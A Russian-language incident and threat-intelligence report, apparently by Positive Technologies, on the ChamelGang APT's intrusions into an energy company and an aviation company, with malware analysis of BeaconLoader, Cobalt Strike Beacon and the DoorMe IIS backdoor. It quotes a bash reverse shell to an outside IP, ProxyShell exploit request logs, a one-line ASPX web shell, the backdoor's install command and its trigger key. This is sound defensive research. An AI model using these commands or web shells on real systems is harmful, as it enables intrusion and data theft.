Содержание
- Введение
- 1. CASE #1
- 1.1. Хронология событий
- 1.2. Исходный вектор
- 1.3. Дальнейшее перемещение
- 1.4. Сбор и эксфильтрация данных
- 2. CASE #2
- 2.1 Хронология событий
- 2.2 Исходный вектор
- 2.3 Дальнейшее перемещение
- 3. Анализ ВПО и инструментов
- 3.1. BeaconLoader и Cobalt Strike Beacon
- 3.2. BeaconLoader и Cobalt Strike Beacon v2
- 3.3. ProxyT
- 3.4. Бэкдор DoorMe
- 3.5. Бэкдор DoorMe v2
- 4. Исследование сетевой инфраструктуры
- 5. Жертвы
- Выводы
- Вердикты наших продуктов
- Рекомендации
- MITRE TTPs
- IOCs
- Файловые индикаторы
- Сетевые индикаторы
Введение
Во втором квартале 2021 года команда по реагированию на инциденты ИБ экспертного центра безопасности Positive Technologies(PT Expert Security Center, PT ESC) провела расследование в компании топливно-энергетического комплекса. В ходе проведенных работ выяснилось, что сеть компании была скомпрометирована неизвестной группой с целью хищения данных. Злоумышленники использовали два пути. Они приобретали домены, имитирующие легитимные (newtrendmicro.com, centralgoogle.com, microsoft-support.net, cdn-chrome.com, mcafee-upgrade.com). Кроме того, APT-группа на своих серверах размещала SSL-сертификаты, которые тоже имитировали легитимные (github.com, www.ibm.com, jquery.com, update.microsoft-support.net). Для достижения своей цели атакующие использовали метод проникновения — trusted relationship. Группа скомпрометировала дочернюю организацию и через нее проникла в сеть целевого предприятия.
Уже после расследования первого инцидента, 16 августа 2021 года, в рамках мониторинга угроз информационной безопасности (threat intelligence) только что выявленной группировки специалисты PT ESC обнаружили еще одну ее успешную атаку (были скомпрометированы серверы жертвы), идентифицировали новую жертву и уведомили пострадавшую организацию. В этот раз злоумышленники атаковали российскую компанию из авиационно-промышленного сектора, а для проникновения использовали цепочку уязвимостей ProxyShell.
В своем инструментарии группа использовала как уже известные вредоносные программы, в частности FRP, Cobalt Strike Beacon, Tiny shell, так и новое, не встречавшееся ранее ВПО — ProxyT, BeaconLoader, DoorMe backdoor.
Несмотря на то что нам удалось провести два успешных расследования, мы не смогли однозначно отнести злоумышленников ни к одной из известных сегодня APT-групп. Новой группировке мы дали название ChamelGang (от англ. chameleon), так как группа в обоих случаях маскировала свое вредоносное ПО и сетевую инфраструктуру под легитимные сервисы Microsoft, TrendMicro, McAfee, IBM, Google и других компаний.
CASE #1
1.1. Хронология событий
Причиной для расследования стали множественные срабатывания антивирусных продуктов у организации с вердиктом Cobalt Strike Beacon в оперативной памяти.
1.2. Исходный вектор
В конце марта 2021 года злоумышленники для получения доступа в сеть топливно-энергетической компании скомпрометировали дочернюю организацию, используя уязвимую версию веб-приложения на платформе JBoss Application Server. Как показало расследование, злоумышленники, проэксплуатировав уязвимость CVE-2017-12149, получили возможность удаленного исполнения команд на узле.
При анализе серверных журналов на скомпрометированном узле были обнаружены записи vuln6581362514513155613jboss, которые свидетельствуют о применении публичного эксплойта jboss-_CVE-2017-12149.
Также в журналах server.log содержались результаты работы всех команд злоумышленников. Стоит отметить, что команды были типичными для разведки на узлах. Наиболее интересной из них оказалась следующая:
Caused by: java.lang.Exception: [L291919] PING ci6i6b.dnslog.cn (127.0.0.1) 56(84) bytes of data.
Сервис dnslog.cn генерирует случайный домен третьего уровня, который впоследствии будет использоваться для получения информации о доступности зараженных узлов. Зараженное устройство пытается разрешить этот домен. Если ему это удается — компьютер получает доступ в интернет. Если же нет, то он находится в закрытой сети. Ниже представлен пример работы сервиса:
1.3. Дальнейшее перемещение
Для управления скомпрометированным узлом и разведки на нем атакующие использовали:
- однострочный Reverse Shell:
- общедоступный UNIX-бэкдор — Tiny SHell
- получение шелла с зараженного узла,
- исполнение команды,
- передача файлов.
bash -i >& /dev/tcp/115.144.122.8/5555 0>&1
Функциональность:
Для запуска вредоносного ПО с повышением привилегий использовалась собственная утилита, названная нами LinuxPrivilegeElevator.
Далее злоумышленникам удалось получить доступ к Windows-инфраструктуре дочерней организации. В качестве рабочих директорий злоумышленники использовали:
- C:\Windows\Web;
- C:\Windows\System32\wbem;
- C:\Windows\System32\inetsrv;
- C:\Windows\Temp.
Для закрепления и повышения привилегий на вновь зараженных узлах атакующие использовали довольно старую технику типа DLL Hijacking, связанную с сервисом MSDTC. MSDTC — это служба Windows, отвечающая за координацию транзакций между базами данных (SQL Server) и веб-серверами. Более подробно с данной техникой можно ознакомиться в статье исследователей из компании Trend Micro.
После загрузки вредоносной библиотеки BeaconLoader (см. раздел «Анализ ВПО и инструментов») и зашифрованного Cobalt Strike Beacon dlang.dat в подходящую для DLL Hijacking рабочую директорию, злоумышленники перезагружали службу MSDTC. В связи с этим их действия на узле сопровождались событием 4111 в журналах Windows. При запуске служба пытается загрузить следующие три DLL-файла из C:\Windows\System32 — oci.dll, SQLLib80.dll; xa80.dll.
В конкретном случае роль BeaconLoader выполняет библиотека oci.dll.
На другом скомпрометированном узле злоумышленники использовали технику DLL Hijacking, но уже с другим сервисом. В этом случае атакующие загружали на узел вредоносную библиотеку в папку C:\Windows\System32 с именем wlbsctrl.dll. Затем они перезагружали службу IKEEXT командами «sc stop ikeext», «sc start ikeext». Вновь запущенный сервис вызывает LoadLibraryExW и пытается загрузить библиотеку по пути C:\Windows\System32\wlbsctrl.dll.
Библиотека wlbsctrl.dll также является BeaconLoader, а зашифрованный для нее Cobalt Strike Beacon хранится в файле C:\Windows\Temp\MpCmdRun.log.1.
При расследовании были выявлены разные конфигурации полезной нагрузки. Для узлов, имеющих прямой доступ в интернет, использовался HTTPS Beacon, а для связи с узлами в изолированных сегментах сети — SMB Beacon.
Примерно спустя две недели, что, по нашей оценке, очень быстро, злоумышленникам удалось скомпрометировать головную компанию благодаря тому, что ее сеть была связана с инфраструктурой дочерней организации. Атакующие узнали словарный пароль локального администратора на одном из серверов в изолированном сегменте и получили доступ в сеть по протоколу удаленного доступа RDP.
Получив доступ, злоумышленники проводили разведку в сети, используя встроенные в систему утилиты:
- regsvr32.exe,
- cmd.exe,
- ipconfig.exe,
- taskmgr.exe,
- ping.exe,
- nltest.exe,
- netstat.exe,
- tasklist.exe,
- quser.exe,
- nslookup.exe.
Для проверки доступности управляющих серверов злоумышленники использовали встроенную в операционную систему Windows утилиту Curl и (или) собственную утилиту ProxyTest (см. раздел «Анализ ВПО и инструментов»). Эта утилита предназначена для определения доступности ресурса по протоколу HTTP с удаленных компьютеров.
Примеры команд:
- curl -i http://42.99.116.14
- curl -i https://jumper.funding-exchange.org
- proxyT.exe http://45.99.116.14
Зараженные узлы контролировались атакующими с помощью общедоступной утилиты FRP (fast reverse proxy), написанной на языке программирования Golang. Эта утилита предназначена для подключения к обратному прокси-серверу. Из конфигурационных данных был получен адрес сервера (45.91.24.73:8996), через который при помощи плагина socks5 маршрутизировались запросы злоумышленников.
Пример конфигурационного файла, который был восстановлен в процессе анализа дампа оперативной памяти одного из зараженных узлов:
[common] server_addr = 45.91.24.73 server_port = 80 token = 7tBjjTqYGmHg5PY8zYUL [mobi_socks5] type = tcp remote_port =8996 plugin = socks5 use_encryption = true use_compression = true tls_enable = true dns_server = 8.8.8.8 plugin_user = 95ReuhTj7Wd2Xfr plugin_passwd = XCWJt92Xxzb2L5N
Примечательно, что утилита FRP также применялась в атаках на правительственные учреждения в Восточной Азии, о чем сообщали исследователи из Avast в своей статье.
Примерно за два месяца изучив сеть компании и получив контроль над ее большей частью (включая критически важные серверы и узлы в разных сегментах сети), злоумышленники на один из IIS-серверов — в данном случае Exchange-сервер — установили вредоносный модуль, который оказался бэкдором DoorMe (см. раздел «Анализ ВПО и инструментов») и работал в контексте процесса веб-сервера w3wp.exe. Мы предполагаем, что это было сделано для резервирования канала управления скомпрометированной инфраструктурой. Данная техника была описана ранее в статье IIS Raid — Backdooring IIS Using Native Modules и эксплуатировалась APT-группой OilRig. В начале августа 2021 года на конференции Black Hat компания ESET представила подробный материал о семействе вредоносных IIS-модулей, что говорит о росте популярности этой техники среди атакующих.
В атаках бэкдор DoorMe устанавливался при помощи консольной команды:
c:\windows\system32\inetsrv\appcmd.exe install module /name:FastCgiModule_64bit /image:%windir%\System32\inetsrv\iisfcgix64.dll
При успешном исполнении команды параметры модуля сохраняются в конфигурационном файле applicationhost.config.
Выбранное для вредоносного модуля название FastCgiModule_64bit также является методом антифорензики. Злоумышленники замаскировали новый модуль под уже имеющийся легитимный модуль путем добавления в название разрядности x64.
При этом на официальном сайте Microsoft рекомендуется на серверах Exchange добавить некоторые папки в исключения антивирусных решений для стабильной работы сервера. В эту категорию попадает также папка %SystemRoot%\System32\Inetsrv для веб-компонентов IIS-сервера, в которой располагался DoorMe. В используемом антивирусном решении у изучаемой компании данное исключение было применено.
На момент расследования инцидента бэкдор DoorMe не детектировался средствами антивирусной защиты.
1.4. Сбор и эксфильтрация данных
Злоумышленники на скомпрометированных узлах собирали данные по определенным маскам:
7z.exe a -padminadmin -mhe=on -mx9 his.7z hist*
После сбора данных злоумышленники размещали их на веб-серверах в скомпрометированной сети для дальнейшей выгрузки их с помощью утилиты Wget.
2021-04-01 09:03:34 *.*.*.* GET /aspnet_client/system_web/favicon.rar - 443 - 172.104.109.12 Wget/1.20.3+(linux-gnu) 200
CASE #2
2.1. Хронология событий
При исследовании (threat intelligence) активности группы ChamelGang 16 августа 2021 года эксперты PT ESC обнаружили свежие следы компрометации серверов в еще одной компании, которая стала жертвой этой группировки. На этот раз злоумышленники атаковали организацию из авиационно-промышленного сектора России. Мы вовремя уведомили пострадавшую компанию — спустя четыре дня после того, как был скомпрометирован сервер, — и вместе с ее сотрудниками оперативно устранили угрозу. В общей сложности атакующие находились в сети жертвы восемь дней, а с момента оповещения до завершения работ по реагированию и расследованию инцидента прошло две недели. По нашим данным, APT-группа не ожидала, что ее бэкдоры обнаружат так быстро, поэтому не успела развить атаку дальше.
2.2. Исходный вектор
Для проникновения в инфраструктуру жертвы злоумышленники воспользовались цепочкой связанных уязвимостей в Microsoft Exchange (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207), получившей название ProxyShell. Впервые о ней стало известно из доклада, представленного на конференции Black Hat 5 августа 2021 года (на следующий день исследователь опубликовал подробную статью), после чего различные APT-группы стали активно эксплуатировать эту цепочку уязвимостей. Первые POC-скрипты начали появляться на GitHub с 13 августа 2021 года.
Этапы эксплуатации ProxyShell группой ChamelGang следующие:
-
CVE-2021-34473 — обход ACL. Уязвимость позволяет указать адрес почтового ящика через строку запроса в обработчике EwsAutodiscoverProxyRequestHandler. Это, в свою очередь, дает возможность получить доступ к произвольному URL с правами NT AUTHORITY\SYSTEM.
17.08.2021 1:20:31 W3SVC1 - - POST /autodiscover/autodiscover.json @VICTIM.COM:444/autodiscover/autodiscover.xml?&Email=autodiscover/autodiscover.json?@VICTIM.COM 443 - 103.80.134.159 HTTP/1.1 ExchangeServicesClient/0.0.0.0 - - - 200 0 0 545
-
CVE-2021-34523 — понижение привилегий. Поскольку для пользователя NT AUTHORITY\SYSTEM не существует почтового ящика, злоумышленники на этом этапе получают валидный доменный SID локального администратора. В дальнейшем SID используется для параметра X-Rps-CAT.
17.08.2021 1:20:34 W3SVC1 - - POST /autodiscover/autodiscover.json @VICTIM.COM:444/mapi/emsmdb/?&Email=autodiscover/autodiscover.json?@VICTIM.COM 443 - 103.80.134.159 HTTP/1.1 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_13_6)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/69.0.3497.81+Safari/537.36 - - - 200 0 0 587
-
На данном этапе атакующие создают письмо в черновике через веб-службу Exchange (EWS). В POST-запросе передается элемент SOAP с черновым письмом.
17.08.2021 1:20:41 W3SVC1 - - POST /autodiscover/autodiscover.json @VICTIM.COM:444/ews/Exchange.asmx?&Email=autodiscover/autodiscover.json?@VICTIM.COM 443 - 103.80.134.159 HTTP/1.1 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_13_6)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/69.0.3497.81+Safari/537.36 - - - 200 0 0 623
-
CVE-2021-31207 — возможность записи в файл с последующим удаленным выполнением кода. Атакующие используют командлеты PowerShell: New-ManagementRoleAssignment, чтобы получить роль импорта и экспорта почтовых ящиков, и New-MailboxExportRequest — для экспорта почтового ящика в директорию веб-сервера.
17.08.2021 1:20:46 W3SVC1 - - POST /autodiscover/autodiscover.json @VICTIM.COM:444/PowerShell/?&X-Rps-CAT=[BASE64_REDACTED]&Email=autodiscover/autodiscover.json?@VICTIM 443 - 103.80.134.159 HTTP/1.1 Python+PSRP+Client - - - 200 0 0 1035
-
Далее в файловую систему выгружается почтовый PST-файл с сигнатурой (magic) !BDN (0x21, 0x42, 0x44, 0x4E) и расширением ASPX.
"New-MailboxExportRequest", "-Mailbox \"Administrator\" -IncludeFolders (\"#Drafts#\") -ContentFilter \"(Body -like '*468749030*')\" -ExcludeDumpster \"True\" -FilePath \"\\\\127.0.0.1\\C$\\inetpub\\wwwroot\\aspnet_client\\468749030.aspx\" -Name \"468749030\""
-
В содержимом конечного файла после наложения перестановочной кодировки NDB_CRYPT_PERMUTE можно заметить однострочный веб-шелл.
script Language="C#" runat="server">void Page_Load(object s, EventArgs e){System.IO.File.WriteAllText(Context.Request["p"],Encoding.UTF8.GetString(Convert.FromBase64String(Context.Request["c"])));} /script
-
Злоумышленники отправляют GET-запрос на веб-шелл.
17.08.2021 1:29:25 W3SVC1 - - GET /aspnet_client/468749030.aspx - 443 - 103.80.134.159 HTTP/1.1 Mozilla/5.0+(Windows+NT+6.1;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/91.0.4472.124+Safari/537.36 - - - 200 0 0 10415
После успешной установки веб-шелла атакующие загрузили функциональные веб-шеллы и начали проводить разведку на скомпрометированном узле. Для обнаружения попыток эксплуатации рассмотренной цепочки уязвимостей в журналах IIS-сервера можно воспользоваться публично доступными YARA-сигнатурами (полезные сведения об этих уязвимостях собраны в этом материале).
2.3. Дальнейшее перемещение
Атакующие осуществляли контроль над зараженными узлами с помощью веб-шеллов ASPX:
После закрепления на зараженных узлах злоумышленники установили бэкдор DoorMe v2 (см. раздел Анализ ВПО и инструментов) на два почтовых сервера (Microsoft Exchange Server) в сети жертвы. Выбранные имена вредоносных библиотек (modrpflt.dll, protsdown.dll) и имена модулей IIS-сервера (modrpflt, protsdown) — попытка замаскироваться под легитимные библиотеки. Для сокрытия вредоносных файлов атакующие также изменяли временные метки (Timestomp) и присваивали им значения легитимных файлов.
В атаке злоумышленники использовали модифицированную версию бэкдора DoorMe. Предположительно они модифицировали бэкдор после того, как его образец был загружен на VirusTotal. В результате новой обфускации большинство антивирусных движков перестали детектировать это ВПО.
Пример выполнения команды через бэкдор DoorMe в логах IIS:
17.08.2021 7:11:27 W3SVC1 - - POST /owa/ - 443 - 91.204.227.130 HTTP/1.1 Mozilla/5.0+(Windows+NT+6.1;+WOW64;+rv:40.0)+Gecko/20100101+Firefox/40.1 IISSessions=79cfdd0e92b120faadd7eb253eb800d0 - - 200 0 0 558
Для продвижения внутри сети и заражения пользовательских узлов атакующие воспользовались BeaconLoader (см. раздел Анализ ВПО и инструментов). Чтобы его запустить, злоумышленники применили ранее описанную технику запуска через службу MSDTC. После запуска эта служба подгружает библиотеку oci.dll, которая и запускает Cobalt Strike Beacon (dlang.dat).
3. Анализ ВПО и инструментов
3.1. BeaconLoader и Cobalt Strike Beacon
BeaconLoader, как уже ранее говорилось, загружается при помощи DLL Hijacking. На первом этапе библиотека получает адреса необходимых для работы функций и библиотек. Далее проверяет имя родительского процесса и тип привилегий (для дальнейшей работы необходим тип SYSTEM и имена msdtc.exe, msdtc.exe.mui, vmtoolsd.exe). Данные имена находятся внутри бинарного файла в зашифрованном виде, а их расшифрование происходит по одной и той же, достаточно любопытной схеме: каждое значение помещается в отдельный регистр, после чего каждый из регистров отдельно складывается по модулю 2 с однобайтовым значением и копируется на стек.
Также любопытно использование прямых нативных вызовов внутри библиотеки (рис. 15) для создания нового потока в случае корректности имени процесса, а также для работы с памятью.
Далее библиотека расшифровывает имя файла с полезной нагрузкой (рис. 16), после чего считывает его. Стоит отметить, что сам файл должен находиться в одной директории с библиотекой.
Затем происходит расшифрование основной нагрузки. В начале от считанного файла отделяются первые 16 байт (на рис. 17 выделены красным) — эти байты будут основой для подготовки ключа дешифрования.
Далее происходит первый этап подготовки ключа дешифрования — один цикл подготовки отделенных 16 байт считанного файла. Суть процедуры в том, что каждый байт складывается по модулю 2 со следующим значением (пример для первых шести байтов приведен на рис. 18). Также на некоторых этапах происходит модификация констант, хранимых в регистрах, на основании которых может измениться значение ключа шифрования на конкретном этапе.
После этого от полученных данных считается MD5-хеш. Полученное значение и будет искомым ключом шифрования.
Основная нагрузка расшифровывается алгоритмом AES в режиме CBC, с 16-байтным ключом, полученным на этапе подготовки, и нулевым (пустым) вектором инициализации.
После расшифрования для указанной области памяти меняются атрибуты безопасности (через NtProtectVirtualMemory), после чего в новом потоке на них передается управление.
В другой версии BeaconLoader, которая загружалась с помощью сервиса IKEEXT, многие участки кода идентичны предыдущим, но тем не менее в них много различий.
В самом начале также происходит проверка имени процесса — в данном случае имя процесса должно быть svchost.exe. Далее считывается файл C:\Windows\Temp\MpCmdRun.log.1, который, так же как и в предыдущем случае, содержит полезную нагрузку. Схема шифрования на первом же этапе отличается от того, что было в oci.dll: здесь в первых четырех байтах содержится ключ для XOR-расшифрования остальных данных. (Ключ выделен красным цветом на рис. 20.)
Расшифрование первого этапа не содержит в себе модификации ключа шифрования на каком-либо из этапов и заключается в обычном четырехбайтном XOR.
Расшифрованные данные представляют собой следующую структуру (рис. 22):
typedef struct decryptedData { DWORD null; DWORD sizeOfDecryptedData; char encryptionKey[32]; char dataToDecrypted[sizeOfDecryptedData]; } decryptedData, *pdecryptedData;
Стоит отметить, что значение sizeOfDecryptedData на 41 отличается от исходного размера файла: сюда включены два служебных поля и ключ шифрования.
На следующем этапе формируется вектор инициализации для алгоритма AES. Данное значение получается путем MD5-хеширования ключа шифрования «741668454FFA04A95EBA720E1B74A5B3» (поля encryptionKey), после чего с данными параметрами расшифровывается основная нагрузка в режиме AES_CBC.
В обоих случаях полезной нагрузкой являлись Cobalt Strike Beacon, причем в случае oci.dll расшифровывался и запускался SMB-beacon, а во втором случае —HTTPS-beacon.
Расследуя первый инцидент, мы обнаружили две версии Cobalt Strike Beacon: одна для взаимодействия по SMB, другая — по HTTPS. Ниже представлены краткие конфигурации этих двух версий.
HTTPS Beacon
BeaconType | HTTPS |
Port | 443 |
PublicKey_MD5 | 5a178220c2514f49a16f0eb6d9dc2a37 |
C2Server | www.funding-exchange.org,/Home.aspx |
UserAgent | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/17.17134 |
HttpPostUri |
/BecomeMember.aspx Malleable_C2_Instructions - Remove 2365 bytes from the end Remove 824 bytes from the beginning Base64 URL-safe decode XOR mask w/ random key |
HttpGet_Metadata |
ConstHeaders Accept: application/xhtml+xml;q=0.9,*/*;q=0.8 Host: www.thefundingexchange.com Accept-Encoding: gzip, deflate DNT: 1 Cache-Control: max-age=0 Metadata base64url prepend "check=true;ASP.NET_SessionId=" header "Cookie" |
HttpPost_Metadata |
ConstHeaders Accept: application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Host: www.thefundingexchange.com Accept-Encoding: gzip, deflate DNT: 1 Cache-Control: max-age=0 SessionId mask base64url parameter "_s_token" Output mask base64url |
SSH_Banner | Host: www.funding-exchange.org |
Watermark | 1936770133 |
HostHeader | Host:www.funding-exchange.org |
SMB Beacon
BeaconType | SMB |
Port | 4444 |
PublicKey_MD5 | 5a178220c2514f49a16f0eb6d9dc2a37 |
PipeName | \\.\pipe\Winsock2\CatalogChangeListener98df |
Watermark | 1936770133 |
У обеих версий одна и та же Watermark 1936770133, которая не была нами ранее замечена в других атаках.
При обращении на контрольный сервер www.funding-exchange[.]org происходит редирект на сайт thefundingexchange[.]com. Однако никакой вредоносной активности в рамках этого сайта нами отмечено не было.
3.2. BeaconLoader и Cobalt Strike Beacon v2
При расследовании второго инцидента были обнаружены две версии Cobalt Strike Beacon — ниже представлены основные поля их конфигурации.
BeaconType | HTTPS |
Port | 443 |
PublicKey_MD5 | d4ec8d5e82af77b8488abd5264aedf02 |
C2Server | static.mhysl.org,/images/L._SX2_.jpg |
UserAgent | Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko |
HttpPostUri | /action/view.aspx |
Watermark | 1028153346 |
BeaconType | Hybrid HTTP DNS |
Port | 1 |
PublicKey_MD5 | d4ec8d5e82af77b8488abd5264aedf02 |
C2Server | snn2.mhysl.org,/images/button_5x5.jpg,snn1.mhysl.org,/images/L._SX2_.jpg,snn3.mhysl.org,/images/button_5x5.jpg |
UserAgent | Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko |
HttpPostUri | /action/update.aspx |
Watermark | 1028153346 |
Watermark 1028153346 — уникальный и ранее не встречался в публичных источниках.
3.3. ProxyT
Приложение создано для проверки наличия соединения с каким-либо удаленным URL. Адрес URL передается в качестве параметра в программу, после чего она разделяет его на составные части вызовом InternetCrackUrlA. В случае если это сделать не удается, программа завершается, и в консоль выводится Error on InternetCrackUrl: error_code.
Далее происходит попытка создания дескриптора соединения (InternetOpenA, в случае ошибки — вывод в консоль Error On InternetOpen: error_code) и инициализация соединения (InternetConnectA, по аналогии выводится либо Error On InternetConnect: error_code, либо Error On INTERNET_SCHEME: error_code).
Далее формируется и отправляется на сервер GET-запрос. В случае ошибки ее код также выводится на консоль (рис. 25).
За получение заголовков из ответа сервера отвечает функция HttpQueryInfoA с параметром HTTP_QUERY_RAW_HEADERS_CRLF. Данный параметр означает, что будут возвращены все заголовки ответа сервера, при этом каждый из заголовков будет разделен символом возврата каретки.
После получения заголовков все они выводятся на консоль (функция fnPrintToConsole_fromReg).
3.4. Бэкдор DoorMe
Среди обнаруженных нами в ходе расследования инцидента образцов ВПО самым интересным является бэкдор DoorMe. По сути, он является нативным модулем IIS, который регистрируется как фильтр, через который проходит обработка HTTP-запросов и ответов.
У файла имеется две точки входа: основная, не имеющая никакого набора функций, и вторая — RegisterModule, которая требуется для регистрации нативного модуля — инициализирует экземпляр класса DoorMe. Название намекает на функциональность backdoor. Упоминаний об аналогичном бэкдоре в публичных источниках мы не обнаружили.
__int64 __fastcall RegisterModule(__int64 a1, __int64 a2) { _QWORD *v3; // rax v3 = operator new(8ui64); *v3 = &Doorme::`vftable'; return (*(*a2 + 24i64))(a2, v3, 0x100i64); }
В оригинальном коде такие же отладочные строки, как и в обнаруженном нами бэкдоре, что говорит о том, что определенные обработчики в бэкдоре не были реализованы:
__int64 CGlobalModule::OnGlobalStopListening() { OutputDebugStringA("This module subscribed to event "); OutputDebugStringA("CGlobalModule::OnGlobalStopListening"); OutputDebugStringA( " but did not override the method in its CGlobalModule implementation. Please check the method signature to make sure it matches the corresponding method.\n"); DebugBreak(); return 0i64; }
Модуль создает свой обработчик события OnGlobalPreBeginRequest, который запускается перед началом обработки запроса, поступившего на веб-интерфейс веб-приложения на IIS.
Обработчик обфусцирован, почти все строки зашифрованы с помощью XOR, что затрудняет его анализ.
v15 = 0x7B; strcpy(IISSessions.m128i_i8, "{22((\x1E\b\b\x12\x14\x15\b"); v16 = 0i64; while ( 1 ) { IISSessions.m128i_i8[++v16] ^= v15; if ( v16 >= 0xB ) break; v15 = IISSessions.m128i_i8[0]; } IISSessions.m128i_i8[12] = 0;
Логика обработчика следующая:
- Модуль определяет, какая фраза будет открывать основной набор функций бэкдора. Эта фраза задается в реестре по пути HKEY_CLASSES_ROOT\\.zip\\config. Если ключа в реестре нет, то используется фраза по умолчанию: fuckme.
- Ожидается, что в поступающем HTTP-запросе будет cookie IISSessions со значением MD5(ключ). В данном случае MD5 от fuckme, то есть 79cfdd0e92b120faadd7eb253eb800d0. Если это условие не будет соблюдено, то функция не будет вмешиваться в обработку запроса.
- Если метод запроса GET, то функция вернет строку <html><body><h1>It works!</h1></body></html>. Это является индикатором для злоумышленника, что бэкдор действительно установлен и функционирует.
- Если метод запроса POST, то ожидается, что контент поступившего POST-запроса зашифрован с помощью AES. Ключом является MD5 — первая половинка от MD5(исходный_ключ).
Всего реализовано шесть различных команд, которые может принимать данный бэкдор. Разделителем между командой и ее аргументом является символ пайпа:
Команда | Значение |
0 | Вернуть текущую директорию, username и hostname |
1 | Запустить произвольную команду посредством cmd.exe /c <команда> |
2 | Запустить произвольную команду посредством создания нового процесса |
3 | Записать файл |
4 | Другой способ записать файл |
5 | Скопировать метки времени с файла А в файл Б |
Результаты команд возвращаются в зашифрованном виде.
3.5. Бэкдор DoorMe v2
При расследовании второго инцидента мы обнаружили расширенную версию этого бэкдора: изменилась обфускация, появились новые команды. Однако название класса, содержащего переопределенные методы, которые реализуют набор функций бэкдора, осталось таким же — DoorMe.
Для усложнения анализа применяется обфускация control flow с использованием диспатчера:
Часть чувствительных строк данного бэкдора теперь лежат в открытом виде, а некоторые другие подвержены следующей схеме обфускации:
c: uint8 константа string[i] = (c & x[i] | ~c & y[i]) ^ z[i]
Внимательно посмотрев на значения x[i] и y[i], можно заметить, что они являются инверсией друг друга. Таким образом, итоговую формулу для каждого байта можно упростить:
string[i] = (c & x[i] | ~c & y[i]) ^ z[i] string[i] = (c & x[i] | ~c & ~x[i]) ^ z[i] string[i] = (c & x[i] | ~c & ~x[i]) ^ z[i] string[i] = ~(c ^ x[i]) ^ z[i] string[i] = c ^ ~x[i] ^ z[i]
Что интересно, эта формула сводится к двум XOR, а с учетом того, что в коде видно использование одинаковых пар x и z, можно сказать, что генератор этих строк работает еще проще, чем мог бы.
В отличие от IDA Pro, Ghidra упрощает эти уравнения, хотя и не справляется со всеми:
Кроме того, используется техника, которая «ломает» IDA Pro: она неправильно дробит функцию, из-за чего некоторые ноды графа исчезают из декомпилятора.
С этой проблемой справляется скрипт IDAPython:
def kill_gaps(): start_func_addr = here() fi = FuncItems(start_func_addr) last_addr = 0 for cur_addr in fi: #print("cur_addr", hex(cur_addr)) insn = idaapi.insn_t() if not last_addr: last_addr = cur_addr else: last_inst_len = idaapi.decode_insn(insn, last_addr) size_between_opcodes = cur_addr - last_addr gap = size_between_opcodes - last_inst_len if gap: print(f"{hex(last_addr)} - {hex(cur_addr)} Possibly gap {gap}, last_inst_len {last_inst_len}, but addr2-addr1={size_between_opcodes}") if gap > 2 and idc.get_bytes(cur_addr - 2, 2) == b"\x00\x00": print(" Probably align") last_addr = cur_addr continue print(f"Trying to recover: {hex(last_addr+last_inst_len)}") #del_items(cur_addr) create_insn(last_addr+last_inst_len) for _ in range(3): del_items(cur_addr+_) create_insn(last_addr+last_inst_len) for _ in range(3): create_insn(cur_addr+_) #create_insn(cur_addr-inst_len) last_addr = cur_addr kill_gaps ()
По сравнению с предыдущей версией количество команд увеличилось до одиннадцати:
Команда | Значение |
0 | Вернуть текущую директорию, username и hostname |
1 | Запустить произвольную команду посредством cmd.exe /c <команда> |
2 | Запустить произвольную команду посредством создания нового процесса |
3 | Записать файл |
4 | Другой способ записать файл |
5 | Скопировать метки времени с файла А в файл Б |
6 | Вернуть текущую рабочую директорию приложения |
7 | Другой способ вернуть текущую рабочую директорию приложения |
8 | Получить информацию о содержимом в выбранной директории, передать тип файла, его размер, дату последнего изменения и название в виде таблицы: Size Type Last Modified Name |
9 | Получить список процессов в виде таблицы:PID PPID Arch Name User |
A | Завершить и удалить указанный процесс |
4. Исследование сетевой инфраструктуры
При создании сетевой инфраструктуры атакующие старались максимально маскироваться под легитимные сервисы. Злоумышленники регистрировали фишинговые домены, имитирующие легитимные сервисы Microsoft, TrendMicro, McAfee, IBM и Google, в том числе их сервисы поддержки (support), доставки контента (cdn) и обновлений. Вот ряд обнаруженных нами доменов: newtrendmicro.com, centralgoogle.com, microsoft-support.net, cdn-chrome.com, mcafee-upgrade.com. Также на своих серверах APT-группа размещала SSL-сертификаты, которые тоже имитировали легитимные: github.com, www.ibm.com, jquery.com, update.microsoft-support.net.
Информация по фишинговым сертификатам:
Издатель |
C=US, ST=, L=, O=jQuery, OU=Certificate Authority, CN=jquery.com |
Серийный номер |
0x368b8e88 |
Fingerprint |
bc9e9df8738709223e53d27ba1872f06 0845d108fbd0860bbbc0df0f4de96f41a93ff0f0 e3cdf05b9afa03b16971b4140afed4100408d6e48d18c9b5d5957e380ba3f33f |
JARM |
07d14d16d21d21d07c42d41d00041d58c7162162b6a603d3d90a2b76865b53 |
Издатель |
C=US, ST=Armonk, L=New York, O=IBM, OU=IBM, CN=www.ibm.com |
Серийный номер |
0x4405609c |
Fingerprint |
b2422d23e2d59a5807216301802f19d8 7ad381d016d138198c4bd5b89a74f0e3c6e2e786 137c4635ede8d21050026ca2c26cae1c954955b44e285d68d17d3c11174983cb |
JARM |
07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1 |
Издатель |
C=US, ST=Armonk, L=New York, O=IBM, OU=IBM, CN=www.ibm.com |
Серийный номер |
0x316b328c |
Fingerprint |
d4916d7a18357716753c1e6431d5c160 4df235e385a510639da6aebb325962d0fc2345fc 3da87b067a687d95a5f37f28af20c325227e158a026c442aaa20b91159e6d161 |
JARM |
07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1 |
Издатель |
C=US, ST=Armonk, L=New York, O=IBM, OU=IBM, CN=www.ibm.com |
Серийный номер |
0xfdc788a9c57394e4 |
Fingerprint |
155a73dffb275fbf3c4266720fcc97a2 3fc1b7d5168a01e4aba2fcfc9513f40346e9a52b cca094b19f51b00ded930cfffe35ce616e89efe7863f3ff1812474ee5e827619 |
JARM |
